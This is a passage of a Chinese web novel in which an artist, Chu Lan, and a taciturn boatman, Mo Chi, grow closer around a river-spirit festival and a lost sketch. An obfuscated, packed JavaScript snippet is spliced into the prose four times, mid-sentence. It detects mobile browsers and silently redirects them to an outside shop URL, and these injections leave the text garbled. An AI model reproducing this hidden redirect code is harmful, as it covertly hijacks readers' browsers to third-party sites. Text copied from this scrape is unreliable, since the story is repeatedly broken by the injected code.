但此刻的他,却已不配成为神明的信徒。 …… * 这晚,朔松江畔的人们要划着竹筏到江上祭祀江魂。 正如那日胡晓峰跟初澜说的话,水边的人靠着这条江过活,却也有人永远沉睡在了这条江里。 游龙王本身除了祈祷风调雨顺,也是为了震慑那些在水下作祟的江魂。 而白日的震慑过后,便是夜间的祭奠与安抚。 在给莫池擦去背上的图腾后,他便自行下楼回了房间。 初澜也洗了个澡,躺在床上闭目小憩。 山歌与乐声隔着很远飘进屋里,初澜的意识慢慢也变得有些混沌。 称不上是睡着,脑海里走马灯似的闪过许多画面。 红纸香烛、迎神轿辇,滔滔江水,还有烈日下布满汗珠的古老图腾…… 最后化作一轮血红的夕阳,女孩站在教学楼的楼顶,纵身一跃。 初澜猛地睁开眼,于是蝉声再次变得聒噪起来。 落日余晖照进房间,整个屋子都被染成了深红色。 初澜摸过一旁的手机,看了眼时间—— 六点半,莫池应该快出发了。 他深呼吸了下,从床上坐起来,到卫生间用凉水洗了把脸。 民宿里静悄悄的,初澜下楼转了一圈,陈芳草和莫池都不在。 他给莫池发了条消息,也是半天没有人回。 眼见天色越来越暗,初澜担心莫池中午喝多了酒,别是睡过了,便又返回二楼,站在201外叩了叩门。 “小池老板。” 屋内没人应声。 是已经出去了么? 初澜等了片刻,又敲了下。 见还是没人开,他的视线落在了门把手上。 本来只是想拧下试试,结果门居然“咔哒”一声被打开了。 窗帘只拉了一半,天光从另一半洒进房间,蒙上了余晖散尽后的深蓝色调。 与初澜的猜测截然相反,莫池的房间非但不乱,反而相当干净整洁。 室内陈设也很简单,只有一张单人床,一个桌子,一座衣柜,一只落地电风扇,还有一台早已停产的日立牌录音机。 卫生间隐隐有水声,朦胧的光从门缝透出一丝来。 莫池应该在洗澡。 初澜想起对方中午说不喜欢有人进他房间,决定先到楼下等。 然而就在关门的一瞬间,他忽然发现莫池的床头放着一张广告宣传页。 ——非常眼熟,是自己第一天来的时候,用作画莫池速写的那张。 当时自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097636|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的状态很恍惚,又不知下一步该何去何从,因而根本没顾上这张纸后来去哪儿了。 还以为早被莫池扔了呢。 就在此时,卫生间的门打开了,莫池下身只围了条浴巾从里面走出来。 刚迈出一步就僵在原地,与站在门口的人四目相对。 初澜连忙解释:“我看你一直没出来,担心你睡过就来敲门,结果门没有锁,一拧就……” 他叹了口气,轻声道,“抱歉,我没有进去。” 莫池面无表情地听着,几秒后那双深暗的眸底忽然蓦地一颤,快步走到床前将宣传页迅速往枕头下一塞,又下意识扭头检查墙上挂的白布。 一系列动作称得上行云流水,但也很是仓促,甚至不小心磕到床脚,往前栽了下。 而当把这一切都做完后,他才后知后觉地发现,自己的反应实属过激了。 原本轻描淡写就可以找理由含混过去的一件事,偏偏被他此番操作搞得古怪别扭又刻意。 莫池背对初澜,心下已知多半是陈芳草下午来给他送醒酒汤时忘记锁门。 这栋房子除了旅游旺季时会来人,平时多数时候就只有他和陈芳草两个。 陈芳草早习惯了随意出入他的房间。 但换言之,如果今天是其他客人来,他也决不会像现在这样慌乱。 就在莫池紧锁眉头,绞尽脑汁思考着该如何向初澜解释自己刚刚那一通邪门操作时,身后传来对方温和的声音。 “你小时候就是这么藏考卷的么?” 莫池眉心跳了跳,却没转身。 他小时候没藏过考试卷,他的成绩根本不需要藏。 初澜的语气听上去很自然,让莫池紧绷的肌肉也有了一丝丝放缓。 “那张画我没画完,当时还以为你不喜欢。”初澜缓声说,“如果你想留着做纪念,不如我重新给你画一幅?” “不用麻烦了,就这个挺好。” “这个太潦草。” “没事。”莫池淡淡道,“反正我也看不懂。” 初澜见拗不过,只好点点头,默了下又说:“起码让我把这幅画补完吧。” 他来自“艺术家”的那点强迫症又上线了。 莫池捡起床上的衣服,背对着初澜套头穿进去。 过了会儿才低低“嗯”了声。 “你到楼下等我,我换条裤子就来。” “好。” 身后的门被初澜关上了,莫池终于松了口气,肩肌缓缓下沉。 他坐回到床上,想去摸烟,发现原先的那包已经抽完了。 视线再次移向旁边的枕头,静了下后,伸手将压在下面的那张宣传页拿了出来。 ——原先流畅的线条被他那晚用橡皮反复擦完又描摹,弄上了不少印子。 尤其是笔尖断掉的地方,至今都还有一个丑陋的黑点。 莫池将头埋进掌心,枯坐了会儿。 接着将宣传页放进抽屉锁好,又新拆了包烟,拿着钥匙出了房间。 今晚不睡了,再用橡皮好好擦几遍。 …… 14.江魂 当初澜站在岸边时,还是被眼前的景象震撼了。 朔松江上散布着斑斑渔火,头顶是浩瀚星河。 江心传来婉转的渔家小调,伴着悠悠竹笛声—— “和风绵绵 朔松江畔 今月不满 故人不还 故人不还 佳期过半 只饮浊酒 寄吾忧思 ……” 莫池划来一只竹筏,冲初澜伸出手。 初澜被他带到筏上,莫池将桨一摇,筏子便轻飘飘离开岸边,朝着那些光点漂去。 风持续输送着潮湿的花香,莫池在竹筏最前端点燃一只煤油灯,等靠近其他船后便停止摇桨,任竹筏随波荡漾。 初澜朝岸边看去,发现他们划到了岔口桔子林的那片水域。 林间跳动着荧荧光点,有飞舞着的萤火,有茔冢上的磷火。 人们用石子在滩涂围成圈,焚烧黄纸。 纸灰与火星袅袅纠缠,又在半空化为灰烬。 咔哒。 莫池擦亮打火机,点燃根烟。 从旁侧划来的船只上传来个浑厚的声音。 “后生,也给我来一支!” 是村上一位长辈。 莫池将烟盒抛过去,那人稳稳接住,点燃后舒坦地叹了口气,视线在莫池和初澜的竹筏上巡了一遍。 “欸”了声:“你船上怎么没插灵幡?” 随着他这句话,初澜才发现其他的船头都插着一支用鸟羽扎成的幡,上面画着龙腾纹。 “不用。”莫池云淡风轻说,“年轻。” 长辈严肃起来:“这怎么行?夜里江上阴气多重。” 他说着又从自己船上的木箱里取出一枚幡,“快插上,别以为小伙子火力旺就没事!” 莫池不再推辞,从长辈手上接过“羽幡”后道了声谢,待对方的竹筏飘远后,随手将其扔在一旁。 初澜看了看那支幡,又看看莫池:“不然还是插上吧。” 莫池淡淡瞥初澜:“怕了?” “不是。”初澜说,“我看大家都插了,被发现还得说你。” 莫池不语,又默默抽了会儿烟后才重新拿过羽幡胡乱插在船头。 插得歪歪扭扭。 “这是用来辟邪的?”初澜问。 莫池“嗯”了声:“他们怕招惹上东西,会翻船,插了幡龙王就能保护你。” “但你不信龙王。” “嗯。” 莫池从随身带的布袋里抓出一把香草灰,撒进江中。 又沉默了会儿。 “我爸是船老大,以前最信这些,船上挂满从龙王庙求的护身符。”他平静注视着江面,“每次开工前,他都会专门开船围着龙王庙转一圈,结果还是死在这条江上了。” 莫池偏头看初澜,黑漆漆的眸底毫无波澜,唇边却扯出一抹凉笑。 “龙王没有庇佑他。” 四下陷入无声。 期期艾艾的小调又重新变得清晰—— “渔火珊珊 朔松江畔 轻舟不返 故人不还 故人不还 花时将晚 只饮浊酒 寄吾忧思 ……” 莫池将最后一点香灰直接抖入江水,把布袋收起。 陆续开始有竹筏调头返程,影影绰绰的浮光不断在两人间穿行而过。 不知过了多久,初澜轻声开口:“人都是会死的。” 他顿了下,“但这并不表示他就不存在了,只是换一种方式,活在记挂他的人心里。” 莫池立在竹筏前,沉默地听着,神情一时看不出情绪。 片刻后,他转身拾起船桨,撑在水面向后一推。 竹筏转了方向。 “初老师看得开。” 再开口时,语气同样不着情绪,只是这句“初老师”悄然拉开了他和初澜间的距离。 初澜知道对方大概不太想再跟自己继续这个话题,很识趣地闭了嘴。 竹筏又往回划了一段。 “所以你自杀的时候,也这么想的?” 莫池背对初澜,淡漠地问,“换一种方式,折磨记挂你的人。” 初澜先是愣了愣,接着轻轻说了句“不是”。 ——站在江边时,还有拿美工刀划手腕时,他的大脑只有一片空白。 再者便是忽然浮现出的,那幅描绘朔松江的画。 “我知道你想说什么。”莫池撑着船,平淡道,“你想劝我进那片桔林。” “你觉得我既然都能来祭江了,为什么不能到我爸坟前看看他。” “你发现我其实释然不了。” 莫池很少一次性说这么多话,但不可否认,他确实句句说中了初澜所想。 良久后,初澜低声说:“抱歉,我多管闲事了。” 莫池没接话,兀自一下下撑着竹筏。 “其实不是不想,是没脸。” 他沉沉的话语夹杂在循环往复的摇桨声里。 “我答应他再回来时一定带录取通知书给他,后来食言了。” “考试失利了么。” 撑船的动作微微停了下,沙哑的嗓音带着丝戏谑。 “进去了。” 初澜眸子颤颤,望着莫池的背影。 “连他最后一面也没见着,捎回来的不是通知书,是我进去的消息。他在十分钟以后咽的气,被我气死了。” 话及此处,莫池又伸手去摸兜里的烟盒,嗑出一根叼在嘴里。 点燃后,哂笑了声。 “你说人死要是什么都没了也就算了,要是还有,就怕他见了我得变厉鬼。” 皎白的月光被一片云遮住,眼前的人也随之暗淡下来。 两人又默契地不再言语,似乎从他们见面以来,沉默就占据了相处的大多数时间。 转眼竹筏靠岸了,歌声也静止了。 在各回各屋前,初澜把莫池叫住,问他明天去开船的时候,自己能不能一起。 他温声解释:“我想把画画完。” 莫池知道初澜说的是宣传页后面的画,很轻地点了下头:“随你。”临关门前又补了句,“早点睡,我六点就要赶到码头。” “好,晚安。” 莫池将门关上了,在仅剩一条门缝的时候回了声:“晚安。” …… * 次日一早,天还没亮,初澜便穿戴齐整地等在一楼大厅里。 以至于当莫池下楼看到他后先是愣了下,接着微微蹙起眉:“你没睡?” 初澜皮肤白,眼下的淡青色就会格外明显。 当然他自己是不承认的,笑了下道:“睡了,就是醒得早。” 话及此处,初澜也同样注意到了莫池眼里的红血丝:“你才没睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114741|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” “睡了。”莫池边答边去往厨房,没一会儿就凭空变出了一道炒时蔬、一盘火腿肠炒蛋和两碗白粥。 他将陈芳草那份预留出来,又把其中一只碗往初澜面前推了推,便自顾自扒拉起来。 也不嫌烫,三下五除二就解决完早饭,随后到院子里扫地、浇花,再回来时拿了个剥好的橘子放到初澜面前。 “陈芳草要拿去岛上景区卖的,挺甜。” “谢谢。”初澜拣了个橘子瓣放进嘴里,果然甘甜多汁,非常美味。 莫池在他旁边划拉着手机,等初澜把粥吃完,起身收拾好碗筷,洗了手:“该走了。” “嗯。”初澜把橘子拿在手里,要出门时忽然停下问,“那张纸你带了么?” “嗯。”莫池的语速很快。 见初澜看着他,闭了闭眼,从腰间的挎包里翻出广告宣传页往初澜手上一塞,快步走到了前面。 初澜开始还不理解对方为什么一下子变这么赶,明明时间还早。 直到他看到宣传页上留下的浅浅痕迹,明显是用笔沿着他的线条描过,又用橡皮擦了。 大概是没掌握好力度,有些自己画的线条也被不小心擦掉,依葫芦画瓢重新连在一起。 只是水平实在太烂,显得笨拙又稚嫩,但看得出来其实很认真。 不自知地,初澜的唇角轻轻向上扬了下。 再抬眼朝对方看去,就见莫池正站在不远处的地方等他。 对上初澜目光的瞬间,又连忙把视线挪开了。 初澜捏着宣传页,跟了上去。 两人并肩走在去往码头的路上。 清晨的阳光还不刺眼,柔和地洒在他们身上。 没等初澜想好怎么开口,莫池就先忍不住自顾自解释:“我昨晚无聊,学着瞎画两笔,画坏了。” “嗯。”初澜边吃橘子边应声,“没关系。” “已经尽力擦了,还是没擦干净。” “嗯。”初澜扭头,莫池看到他的眼里居然带着笑意,不禁微微怔神。 “怎么样,觉得有意思么?”初澜问。 莫池回过神,垂下眼睫:“没意思。” “哦。” 初澜静了会儿,“其实你要是感兴趣的话,我可以教你。” 莫池的脚步顿住了。 低着头,藏在额发下的眸底恍了恍,慢慢下沉。 初澜:“我打算再在这里待段时间,等你晚上开船回来,我们先从最基础的线条开始。” “不用,我不感兴趣。”莫池的语气有些冷硬。 “小池老板。”初澜唤了声,“到底是要画多少遍,才能连橡皮都擦不干净?” 莫池不语,眉间皱得更深。 初澜轻轻拍了下莫池的肩:“没关系,看你自己。” 他的身上有一股橘子的味道,酸涩清新。 “如果想学的话随时都可以。” “我画不好。” 莫池低声说,像是在回答初澜,又像自言自语。 “不会。”初澜宽慰道,“你手很巧,又会修窗户又会做饭,只是以前可能没怎么接触过,能有个爱好是好事。” 没怎么…接触过… 莫池忽然就有些想笑。 “爱好是留给你们这些艺术家的。”他转身对初澜勾起唇,“我没这命。” …… 15.纸 初澜没有再劝莫池,毕竟绘画这件事开始全凭兴趣。 归根结底,他也只是因为看到莫池描了自己的画,觉得对方可能想学才主动开口提,也算是变相感谢莫池这些天来对他的照顾。 既然对方没那个意思,便不再多言。 六点半,码头准时发船。 这个时候旅游团还没来,船上都是原住民。 有些是要去镇上上班的;有的挑了扁担,两头装满采摘的橘子和柚子,要带到镇上卖;还有几个穿校服的中学生,凑在一起大声聊着天。 初澜仍坐在他第一次上船坐的位置,这个角度刚好能看到莫池的侧脸。 一如初见时那样,莫池一手把着方向盘,另只手垂着夹了根烟,时不时往嘴里送一口。 神情有些淡漠,眼皮懒散地半掀目视前方,像是自动形成一扇遮罩,将他与所有人和声音隔绝在外。 初澜调整了下姿势,也开始画起来,很快便进入状态。 他是个一旦动笔就会格外投入且忘我的人,以至于当画到节点,活动发酸的手腕时,已经到了中午饭点。 莫池并没有叫他,安静地坐在驾驶位充当一名合格的模特。 直到发现初澜回神才对他说:“下一班船在半小时后发,先上岸吃点东西。” “好。”初澜放下画笔。 这是他们自上船后第一次交流。 码头附近有家面馆,地方不大,在室外支着柄遮阳伞。 莫池点了两碗牛肉面,让初澜在有空调的屋里吃,自己端碗去到外面的伞下蹲着—— 这里可以看到岸边的船。 他吃饭的速度总是很快,没一会儿便将空碗送回来,又顺带给初澜捎了瓶矿泉水。 “你慢慢吃,我先回船上。”莫池交待,“你吃完来找我。” “我很快。” 莫池把旁边空桌上的抽纸盒拿过来放在初澜面前,自己也抽了两张擦头上的汗。 “不急,船一直在往返,累的话就先找个镇上的糖水店歇歇。” “你比较累。”初澜说着,在莫池要转身离开时又将他叫住,“弯腰。” 莫池愣愣,但还是听话地把腰弯下。 初澜伸手将他脸上沾着的碎纸屑捏掉:“好了。” 莫池的皮肤被晒得发烫,当初澜微凉的手碰到他时,本能向后缩了下。 接着抬手挠挠,快速说了声“谢谢”。 看着他离开的背影,初澜也知道对方的确是忙,确实没时间学什么画画。 一旁店老板目睹了两人的互动,在莫池走后边擦桌边找初澜搭话。 “你跟莫家那小子关系很好啊?” 初澜转过头,冲老板颔首:“还行。” “你看着脸生。”店老板问,“不是这儿的人吧?” “不是,我来旅游。” “住他们家?” “对。” 老板点点头,带着生意人与生俱来的热络道:“莫家小子人不错的,你别看他不爱说话,像个闷葫芦,其实是个热心肠,我们谁家有事他都会来帮忙。” 话及此处,他叹了声气,“就是可惜了要在这儿干苦力,我们这里会念书的娃不多,但凡能出去的都出去了。” “他很会念书么?”初澜一下就抓住了重点。 老板顿时变得激动:“他那哪叫会念啊!我儿子之前跟他一个高中的,莫家小子回回考试全校第一,我们都盼着镇上能出个高考状元!……哎,可惜了!” 大概是因为摸不准初澜具体了解莫池多少,店老板没再接着往下说。 但初澜心知,老板口中的“可惜”,指的便是莫池坐牢的事。 在这样一个不大的地方,却出了这么大事,自然很快就会闹得人尽皆知。 好在,目前看来并没有人对莫池产生偏见。 老板圆滑地话锋一转:“不过他家就他一个,能陪着他妈也好。在这里开船累是累点,但也吃穿不愁,你说对吧?” 初澜有些恍神,轻轻“嗯”了声。 …… * 接下来半天,初澜脑子里始终在反复面店老板的话。 起先他听莫池说自己没能带回录取通知书,也只是为他和他父亲的约定感到遗憾。 但当他得知莫池的成绩其实原本很好,这就又是另一码事了。 下午坐船的人明显多了起来,往返的频率也变得更高。 当新一批“夕阳红”老年团被从岛上送回绒子镇时,导游拿着麦克风站在船头说:“各位叔叔阿姨,要是今天对小王的服务还满意的话,请在你们手中的反馈表上给小王写个好评!刘大爷,辛苦您帮着收一下!” “要得!” 莫池转头对初澜道:“这是最后一波客人,你在船上,我去把物资搬过来。” “一起吧。”初澜也被旅游团吵得脑仁嗡嗡响,跟着站起身。 到了岸上,初澜本想帮莫池一起搬货,但莫池嫌他碍事,让他在码头等。 黄昏的朔松江最是生动,被迫营业一天的鸬鹚争抢着主人手里的鱼苗,远处江面的摇橹船传来响亮的号子。 头戴小红帽的大爷大妈陆续从船舱走出,逆着晚霞没入繁华,还未离开码头就被早已在此等候多时的饭馆伙计揽入自家店里。 初澜又将视线调回到正在搬货的莫池身上,看他将一件件箱子搬上船,忍不住想象着他坐在教室里听课的样子。 ——那时的莫池,是否也曾期待过与现在截然不同的人生? 当莫池给超市老板结完账,扭头朝初澜看去时,就见他也正望向自己这边。 只是明显在走神。 莫池抿唇,接着朝初澜走来。 到他身边时递过一个塑料袋。 初澜朝里面看了眼,是一套画笔、一包画纸和一盒“马利牌”水彩颜料。 “你要是最近没打算走的话,兴许用得着。”莫池淡淡说,“镇上只有‘马利牌’,其他的你可以去找胡晓峰借。” 初澜没想到莫池居然还专门给自己买了画具,目光不由放软。 “谢谢,‘马利’很好。”他边说边把塑料袋抱在怀里,摸了摸那包画纸,微愣了下,“亚麻的?” 莫池“嗯”了声:“别再用广告宣传页了。” 初澜没答话,还是看着莫池,神情有些疑惑。 “上学的时候,老师教过么?”初澜顿了顿,“画水彩画要用什么纸。” 莫池眸色沉了下,语气却还是不经意:“我让卖颜料的老板看着给拿的,不对?” “对。”初澜轻声说,“好纸呢。” “嗯。”莫池又低低应了声,“上船,回家了。” …… 两人重新进入船舱,此时的舱内昏暗一片。 有其他货船从旁经过,发动机突突响着,带着股燃油味。 探照灯扫进船内,短暂亮起又变暗,在船壁投下一道道移动的光影。 莫池开了会儿船,就发现初澜一直低着头,像在找什么,问:“怎么了?” 初澜摇头,跟着起身朝船尾走,挨个看遍所有座位。 莫池皱眉:“什么不见了?” “画。”初澜又寻过一个位置,“我记得下船前放在座位上了。” 莫池握方向盘的手随着初澜这句话收紧,片刻后闭了闭眼:“你先坐好,等靠岸再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127759|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找。” 初澜点头,就近在一个位置坐下。 “可能是旅行团的人拿错了。”他思索着道,“他们之前在收导游服务反馈表,那张纸的正面又印了广告。” 莫池没回头,也没接话。 “没关系,我再画一幅给你。”初澜决定不找了,“刚好换张纸,之前那张还是太随意了。” “不一样。” 那是初澜给他画的第一幅画。 不一样。 莫池的声音很低,语速还快,初澜没听清楚就又问了遍:“什么?” “没什么。” 莫池背对着初澜,藏在夜色中的眉心深拧着。 初澜并不知道,自己那张潦草画下的画,曾被对方多么珍视地藏在枕边,在夜晚偷偷反复描摹。 天边传来沉闷的滚雷声,朔松江的夜晚总会下雨。 抵达岸边后,两人又打开舱灯仔仔细细找了一遍,还是没找着。 眼见雨下得越来越大,莫池关上灯:“不找了,先回去。” 他取了把伞让初澜撑着,将纸箱放上推车,两人一起往民宿走。 这回初澜没管雨伞会不会打到莫池的头,只管往他那边挪。 莫池也没拒绝,等到了民宿一如往常地下货,分拣,让初澜先去洗澡,等会儿下楼吃饭。 就这样过了极为平常的一晚。 吃完饭初澜回到房间,徐果又发消息跟他抱怨工作琐碎,还说不能让初澜独自在外享福,必须经受他来自城市另边的精神污染。 初澜知道,徐果其实是在变着法子让他开心,不惜用自己的悲催对比初澜的清闲。 ——【果不其然:真尼玛无语,凭什么你一天到晚睡不着,还不掉头发?老子每天都睡不醒,还特么谢顶!】 初澜笑笑,回复——【你那不算谢顶,至多是毛发稀疏。】 ——【果不其然:礼貌微笑.jpg】 ——【果不其然:谢谢安慰,我觉得好多了。】 初澜看了眼时间,已经十一点半,便让徐果赶快去休息。 最近他的画室又开了新班,每天忙的不行。 ——【果不其然:行,我养头发去了。】 ——【澜:嗯,晚安。】 对方又反复“输入”了阵,最后干脆直接传了条语音过来。 “小澜子,好好的哈!” ——【澜:知道了。】 徐果发来一串“月亮”,没动静了。 初澜放下手机,刚打算起身关灯,门外突然传来一阵很轻的敲门声。 “初老师?” 是陈芳草。 初澜打开门,就见她站在外面,探身往屋里看。 “小池在你房间么?” “不在。”初澜摇头,“我看他吃完饭就回自己屋了。” 陈芳草轻轻“哦”了声,犹豫着说:“我刚刚要找他问点事,他房间没人,打电话也不接。现在雨下这么大,也不知道这孩子跑哪儿去了。” 她话音未落,屋外又响起一声闷雷。 初澜拍拍陈芳草的肩,放缓语气安慰:“别担心,他这么大人了,不会有事。” 陈芳草点点头,但看得出来依旧不放心。 她冲初澜勉强笑笑:“行,打扰了啊初老师,您快睡吧。” “好。” 送走陈芳草,关上门后,初澜原本平和的神情也沉了下来。 他扭头看向窗外的雨幕,随即打开通讯录,找到了莫池的电话号码。 机械的“嘟”声反复从听筒传出。 ——“对不起,您所拨打的电话暂时无法接通,请稍候再拨……” …… 16.夜雨 雨夜的绒子镇寂静冷清,从一座繁华景区瞬间变成了空城。 雨点“劈里啪啦”落在地上,溅起水花,石板路在街灯的照射下反着冰冷的光泽。 巷转角的宾馆里走出一道瘦高的身影,站在檐下点燃一支烟。 雨水沿着他手上的伞,从伞间滴下,积了一滩。 ——这是莫池今晚出入的第九家宾馆,还是没能找到下午的旅游团。 又或者,那个团根本就没留在镇上过夜,早离开了。 但他还是不能不找,万一找到了呢? 莫池将烟含在嘴里,从裤兜里掏出手机,徒劳地按了几下。 屏幕还是一片黑。 在和相识的导游通完电话,得知那个旅行团的领队并不是镇上的人后,他的破三星就关机了。 大概是进了水,怎么也打不开。 不过还好,这个点通常不会有人找他。 莫池边抽烟边又在心里迅速过了遍镇上宾馆的分布。 那旅行团大概有十几个人,镇上大大小小的宾馆、旅店加起来统共有四十多家。 旅行团里都是老人,应该不会被安排住在条件相对简陋、适合背包客或穷学生的地方。 这么筛选下来,符合条件且拥有接待实力的就还剩二十几家。 二十几家…… 还好,不算多。 莫池最后吸了口烟,将其捻灭,再次撑伞走入雨幕…… 大概因为绒子镇临江,就算是夏季,夜里也还是会吹江风。 不管冷热,反正风的劲头挺足。 雨被吹得不从天上下,剑走偏锋专攻伞遮不住的地方。 莫池的前胸后背都被打湿了,原本带的最有用的两个物件,雨伞和手机,如今俨然变成了两个废物。 身后突然有人叫他,莫池回头,就见刚才去过的那家宾馆里跑出个小姑娘,隔着大雨冲他喊: “哥!我哥给你来电话了!” 小姑娘口中的“哥”就是唐军,她是唐军的小姑子。 莫池抹了把脸上的水,加快步子返回。 雨伞被风吹得“呼啦”一下反卷过去,彻底报废。 唐军打的是宾馆前台电话,小姑子将听筒递到莫池手上,莫池刚喊了声“唐军”,对面跟着就“操”了声。 “你嗓子怎么了?风刮劈了?” “没,跑的。”莫池清清嗓子,“打听到了?” “嗯。”电话那头的唐军说,“是个四川绵阳的老年团,不住镇上,在高铁站附近的万庭酒店。” “我现在过去。” “你他妈现在怎么过去?!”唐军声音放大,忍不住骂,“隔着十几公里呢,现在是凌晨两点半,你又打不着车!” “你摩托车在镇上么。” “下大雨呢兄弟,嫌死得慢是吧?”唐军深吸口气,压了压火,“到底什么东西搞丢了?” 莫池沉默了下:“画。” 对面的唐军忽然就没声了,良久后像是叹了口气。 关于莫池前些年具体发生的事,唐军其实并不清楚。 只知道从认识他这把兄弟开始,莫池就放不下他那些“宝贝画”。 “摩托车在我小姑子她们宾馆后头停着,钥匙你直接找她要。”唐军终是泄了力,疲惫交待道,“应该还有件我的冲锋衣,你让她一并给你。开慢点,注意安全。” “谢了。” 莫池挂断电话。 …… * 摩托车飞驰在山道上,越过跨江的桥,激起无数水花。 两旁的景物急速倒退,头盔前的风镜布满雨珠。 天色似乎开始渐渐变淡,路灯一盏盏跟着熄灭,喀斯特地貌下的山峦像是平地而起的庞大巨兽。 不远处传来火车经过的汽笛,仿佛巨兽发出的呼啸。 在万庭酒店的灯牌下,摩托车一个急刹。 此时大厅里值班的前台正趴在桌上昏昏欲睡,听到动静,恹恹地支起头。 ——只见一个身穿黑色冲锋衣,被淋到透湿却仍然挺拔的身影,背靠着朦胧天光疾步来到柜台前。 将头盔一摘。 “请问有个绵阳的旅游团昨晚住这里么。” …… * 雨是清晨五点钟左右停的,初澜基本见证了全程。 他安静地坐在阳台藤椅上,手机放在一旁。 室内的床头柜上,两枚白色小药片规规矩矩躺在药瓶盖里,倒好的水早已放凉。 这一夜,他的心绪都有些繁乱,尤其当看到雨势越来越大,树影剧烈摇晃。 莫池的摩托车停在院子里,船也好好泊在码头,可手机却自始至终都没人接,到后来干脆直接从“暂时无法接通”变成了“关机”。 直觉告诉他,莫池有可能是去找画了。 但他又觉得这样的直觉十分不符合逻辑。 在此之前,自己已经明确告诉过对方,会再画一幅更好的给他。 莫池对于那幅画的态度一直也都是淡淡的,更直言表示自己对绘画不感兴趣。 可既然不感兴趣,为什么还要将画放在枕边? 为什么还会主动描摹? 又为什么会在被自己看到时,急着要将其藏起来? 初澜从来都不是一个擅长揣摩人心的人,对于旁人的事也不太容易产生好奇。 他自己都不明白,为什么偏就对莫池在意起来。 这个人给他的感觉像极了眼前的朔松江,看似平静无波,却根本经不起勘探,越往下就越深沉。 也可能只是去找朋友玩儿了吧。 看着雨下太大就睡在那里,碰巧手机又忘记充电。 初澜揉了揉酸胀的眉心,觉得这样的猜测似乎更加合理。 下一秒,他便看到一道熟悉的身影,穿过霭霭白雾,从江边缓步朝民宿这边走来…… 站在门口,轻轻推开院门,而后像是若有所感地抬起头,与初澜无声对视。 初澜的心松了一下,但紧接着眉头就不由皱起。 ——莫池浑身都湿透了,这副样子怎么看都不像有效避过了大雨。 门“嘭”地一声打开,陈芳草从屋里跑出来,在看到院中的莫池后,一巴掌重重拍在了他的后背上。 “上哪儿去了你!” 莫池结结实实挨了一下,视线这才落回到陈芳草身上。 嘴唇动了动:“唐军家。他喝多了,老婆不在,我留下照顾他一晚。” 听莫池这么说,陈芳草才算稍放下些心,语气没刚刚那么激动了。 她疑惑地问:“那怎么淋成这样?打你电话也不接。” “电话没电了,回来的时候没雨,刚走到一半又开始下,忘了带伞。”莫池顿了顿,放缓语气说,“我错了,应该提前跟你说一声的,还以为你睡了。” 陈芳草又拍了他后背一下,终是舒了口气。 “饿不饿?我给你做饭去。” “好。”莫池说,“我先去洗个澡。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139064|136347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你上楼的时候动静小点,别吵到人家初老师休息。” 莫池闻言又朝三楼阳台看了眼,那里已经没人了。 “嗯。” …… * 在二楼的楼梯转角,莫池遇到了从楼上下来的初澜。 相较于他此时的狼狈,初澜一袭整洁的白衣,显得既清爽又干净。 以至于当初澜又往他跟前走了一步时,莫池下意识就往边上避了避,怕把他弄脏。 “我给你打过电话,你手机关机了。”初澜说。 “嗯,没电了。”莫池沉了下,觉得还是应该跟对方解释几句,淡淡道,“昨天我在唐军那儿,他…” “我刚才听到了。” “嗯。” 初澜看着他,静了片刻:“唐军家好像不住江边。” “……” 莫池沉默了,眼底划过一丝慌闪,被初澜捕捉。 “你妈很担心你,一晚上没睡。” 莫池还是沉默,初澜见状,也不打算再继续刨根问底,放轻声音:“快去洗个热水澡吧。” “你也没睡?” “我本来也睡不着。” “不是会吃药么?” “没敢吃。”初澜顿了顿,“怕你万一有事给我打电话,我没接到。” 莫池看着他,喉间微微滚了下,但最后还是只低声道了句歉。 此时一楼突然传来陈芳草的声音:“欸,小军来了?” 莫池的脊背蓦地一僵,调头就要下楼,岂料膝下一软身子猛地向前倾去,初澜连忙拽着他的胳膊将莫池架住,另只手抓着楼梯扶手。 冲锋衣下的体温高到有些吓人,就算隔着布料也还是烫手。 初澜眸色变沉:“你发烧了。” 楼下唐军正在跟陈芳草说话—— “姨,莫池回了吧?” 